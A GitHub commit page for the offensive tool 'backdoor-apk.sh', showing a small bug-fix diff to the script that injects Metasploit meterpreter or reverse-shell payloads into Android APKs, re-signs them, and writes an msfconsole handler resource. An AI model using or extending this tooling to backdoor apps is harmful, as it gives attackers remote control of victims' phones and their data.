Skip to content

Commit

Permalink
Merge branch 'release-0.2.4a'
Browse files Browse the repository at this point in the history
  • Loading branch information
dana-at-cp committed Sep 28, 2018
2 parents ac9a1ef + f33860d commit 2710126
Show file tree
Hide file tree
Showing 3 changed files with 13 additions and 3 deletions.
7 changes: 7 additions & 0 deletions HISTORY.rst
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,13 @@
Release History
---------------

0.2.4a (2018-09-28)
+++++++++++++++++++

**Bug Fixes**

- Fixed issue signing a recompiled APK with the original APK not in the same directory as the backdoor-apk.sh script

0.2.4 (2018-09-27)
++++++++++++++++++

Expand Down
2 changes: 1 addition & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,7 +19,7 @@ ________|__________|__________________________________________
/____________\
|____________| Dana James Traversie
[*] Running backdoor-apk.sh v0.2.4 on Thu Sep 27 17:13:34 EDT 2018
[*] Running backdoor-apk.sh v0.2.4a on Fri Sep 28 17:13:37 EDT 2018
[+] Android payload options:
1) meterpreter/reverse_http 4) shell/reverse_http
2) meterpreter/reverse_https 5) shell/reverse_https
Expand Down
7 changes: 5 additions & 2 deletions backdoor-apk/backdoor-apk.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
# required by other Linux distros as well.
# apt-get install lib32z1 lib32ncurses5 lib32stdc++6

VERSION="0.2.4"
VERSION="0.2.4a"

PAYLOAD=""
LHOST=""
Expand All @@ -37,6 +37,7 @@ ZIPALIGN=third-party/android-sdk-linux/build-tools/25.0.2/zipalign
MY_PATH=`pwd`
TMP_DIR=$MY_PATH/tmp
ORIG_APK_FILE=$1
ORIG_APK_FILE_NAME=""
RAT_APK_FILE=Rat.apk
LOG_FILE=$MY_PATH/run.log
TIME_OF_RUN=`date`
Expand Down Expand Up @@ -275,6 +276,8 @@ exploit -j -z
EOL
echo "[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc"

ORIG_APK_FILE_NAME=`echo "${ORIG_APK_FILE##*/}"`
echo "Wroking on original APK: $ORIG_APK_FILE_NAME" >>$LOG_FILE 2>&1
echo -n "[*] Decompiling original APK file..."
$APKTOOL d -f -o $MY_PATH/original $MY_PATH/$ORIG_APK_FILE >>$LOG_FILE 2>&1
rc=$?
Expand Down Expand Up @@ -672,7 +675,7 @@ if [ $rc != 0 ]; then
fi

keystore=$MY_PATH/signing.keystore
compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE
compiled_apk=$MY_PATH/original/dist/$ORIG_APK_FILE_NAME
unaligned_apk=$MY_PATH/original/dist/unaligned.apk

dname=`$KEYTOOL -J-Duser.language=en -printcert -jarfile $ORIG_APK_FILE |grep -m 1 "Owner:" |sed 's/^.*: //g'`
Expand Down

1 comment on commit 2710126

@thatonegirl38
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Lol

Please sign in to comment.